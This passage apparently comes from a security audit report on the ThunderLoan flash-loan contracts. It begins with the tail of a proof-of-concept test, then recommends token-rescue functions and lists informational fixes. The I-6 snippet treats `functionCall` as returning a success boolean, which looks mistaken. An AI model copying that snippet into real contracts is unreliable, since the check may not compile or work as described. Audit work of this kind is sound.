        vm.stopPrank();

        uint256 lpTokenBalance = tokenA.balanceOf(liquidityProvider);
        // LP's final balance is greater than their initial deposit
        assertGt(lpTokenBalance, DEPOSIT_AMOUNT);
    }
```

Recommendation It is a best practice for contracts that hold funds to include an owner-protected rescue function. This allows the contract owner to recover any tokens sent to the contract by mistake and return them to the rightful owner.

1. **Add `sweepTokens` to `ThunderLoan`:** Implement an `onlyOwner` function in the `ThunderLoan` contract to withdraw any arbitrary ERC20 token it holds.

```
// In ThunderLoan.sol
+    function sweepTokens(IERC20 token, address to, uint256 amount)
     external onlyOwner {
+        require(to != address(0), "Invalid address");
+        require(amount > 0, "Amount must be > 0");
+        uint256 balance = token.balanceOf(address(this));
+        require(amount <= balance, "Insufficient balance");
+        token.safeTransfer(to, amount);
+    }
```

2. **Add `sweepTokens` to `AssetToken`:** A similar function should be added to the `AssetToken` contract. This is more critical as it's more likely to receive mistaken transfers. The function should ensure that it cannot be used to drain the legitimate underlying assets that back the LP shares.

```
// In AssetToken.sol
+    function sweepTokens(IERC20 token, address to, uint256 amount)
     external onlyThunderLoan {
+        // This function should only be callable by the
ThunderLoan contract (the owner)
+        // It should only be able to sweep tokens OTHER than the
underlying asset
+        require(address(token) != address(i_underlying), "Cannot
sweep underlying token");
+        require(to != address(0), "Invalid address");
+        require(amount > 0, "Amount must be > 0");
+        token.safeTransfer(to, amount);
+    }
```

Note: For sweeping the underlying token from `AssetToken`, a more complex accounting mechanism would be needed to distinguish mistaken transfers from legitimate liquidity. A simple solution is to only allow sweeping of non-underlying tokens.

Informational

[I-1] State-Changing Functions Should Emit Events

Finding: The `setFlashLoanFee` function updates the `s_flashLoanFee` state variable but does not emit an event.

Impact: Off-chain services, monitoring tools, and user interfaces rely on events to track important state changes in the protocol. Without an event, it is difficult to monitor fee changes transparently.

Recommendation: Emit an event in `setFlashLoanFee` to announce the change.

```
+   event FlashLoanFeeUpdated(uint256 oldFee, uint256 newFee);

    function setFlashLoanFee(uint256 newFee) external onlyOwner {
+       uint256 oldFee = s_flashLoanFee;
        s_flashLoanFee = newFee;
+       emit FlashLoanFeeUpdated(oldFee, newFee);
    }
```

[I-2] Lack of Zero-Address Validation on Initialization

Finding: The `initialize` function in `OracleUpgradeable.sol` sets the `s_poolFactory` address without verifying that it is not `address(0)`.

Impact: Setting a critical address like a factory to `address(0)` during deployment could lead to unexpected reverts in core functions, rendering parts of the protocol unusable until a corrective upgrade is deployed.

Recommendation: Add a `require` check to ensure the `poolFactoryAddress` is not the zero address.

```
// In OracleUpgradeable.sol
function initialize(address poolFactoryAddress) internal
    onlyInitializing {
+    require(poolFactoryAddress != address(0), "OracleUpgradeable: Zero
    address");
     s_poolFactory = poolFactoryAddress;
}
```

[I-3] `public` Functions That Can Be `external`

Finding: Several **`public`** functions are never called internally by their contract.

Impact: Marking these functions as `external` instead of **`public`** saves gas, as function arguments are read directly from calldata instead of being copied to memory.

Recommendation: Change the visibility of the following functions from **`public`** to `external` in both `ThunderLoan.sol` and `ThunderLoanUpgraded.sol`: - `repay(IERC20,uint256)` - `getAssetFromToken(IERC20)` - `isCurrentlyFlashLoaning(IERC20)`

[I-4] Unused Code and Imports

Finding: The codebase contains unused elements, including an error definition and an import statement. - The error `ThunderLoan__ExhangeRateCanOnlyIncrease` is defined but never used. - The import of `IThunderLoan` in `IFlashLoanReceiver.sol` is redundant.

Impact: Unused code can create confusion for future developers and auditors and slightly increases the deployed contract size.

Recommendation: Remove the unused error definitions and import statements to improve code hygiene.

[I-5] Missing Interface Implementation

Finding: The `ThunderLoan` contract does not formally declare that it implements the `IThunderLoan` interface.

Impact: Explicitly declaring the interface improves code clarity, enables better static analysis by tools, and ensures the contract strictly adheres to its defined public API.

Recommendation: Update the contract definition to include `IThunderLoan`.

```
- contract ThunderLoan is Initializable, OwnableUpgradeable,
   UUPSUpgradeable, OracleUpgradeable {
+ import { IThunderLoan } from "./interfaces/IThunderLoan.sol";
+ contract ThunderLoan is Initializable, OwnableUpgradeable,
   UUPSUpgradeable, OracleUpgradeable, IThunderLoan {
```

[I-6] Unchecked Return Value of External Call

Finding: The return value of `receiverAddress.functionCall` inside the `flashloan` function is not checked.

Impact: According to the Checks-Effects-Interactions pattern, interactions with external contracts should be handled with care. If the external call fails without bubbling up a revert (e.g., if the target address has no code), the transaction could continue, although it would likely be caught by the subsequent balance check.

Recommendation: For robustness, explicitly check the `success` boolean returned by low-level calls like `functionCall`.

```
+   (bool success, ) = receiverAddress.functionCall(...);
+   require(success, "ThunderLoan: flash loan callback failed");
```

[I-7] Testing with Mocks Instead of Forks

Finding: The test suite relies on a mocked implementation of the T-Swap protocol rather than a forked version of the live protocol.

Impact: While mocks are useful for unit testing in isolation, they may not accurately capture all the behaviors and edge cases of the real-world external dependency. This can lead to tests that pass but miss critical integration-specific issues.

Recommendation: For integration tests, leverage Foundry's mainnet forking capabilities (`--fork-url`) to test against the real, deployed T-Swap protocol. This provides a much higher-fidelity testing environment.